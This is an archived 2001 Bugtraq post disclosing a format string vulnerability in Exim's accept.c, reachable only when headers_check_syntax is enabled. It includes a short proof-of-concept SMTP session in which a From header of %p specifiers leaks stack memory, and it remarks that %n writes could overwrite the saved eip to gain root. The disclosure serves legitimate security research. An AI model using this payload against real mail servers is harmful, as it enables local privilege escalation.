[20890] in bugtraq
lil' exim format bug
daemon@ATHENA.MIT.EDU (Megyer Laszlo)
Wed Jun 6 12:51:42 2001
Date: Wed, 6 Jun 2001 14:03:25 +0200
To: bugtraq@securityfocus.com
Cc: security-l@sunserv.kfki.hu
Message-ID: <20010606140325.A32304@visible>
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From: Megyer Laszlo <lez@sch.bme.hu>
Hi BugTrackers
Just a little bug to tell:
THE BUG
-------
accept.c, line 2506:
else if (smtp_reply != NULL) moan_smtp_batch(NULL, smtp_reply);
while moan_smtp_batch is like this:
moan_smtp_batch(char *cmd_buffer, char *format, ...)
So when smtp_reply contains format strings, it get transformed by
moan_smtp_batch().
Why I said that it's a little bug?
----------------------------------
This piece of code is only executed when exim is configured to check incoming mails' headers:
/etc/exim.conf should have an option set:
headers_check_syntax
By default it's turned OFF.
only few ppl turn it on.
So it's NOT vulnerable BY DEFAULT.
Exploitation:
-------------
Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p
.
===8<======8<=======8<=======
Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is: @@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40
If you change %p's to %s's, you get segfault. With carefully constructed thing, it's easy to overwrite saved eip with %n's, and get root out of this bug.
No exploit yet, but after the many local format bug exploits it's not a big work to write one for a skilled man.
--
Megyer Laszlo (Lez)
lez@sch.bme.hu
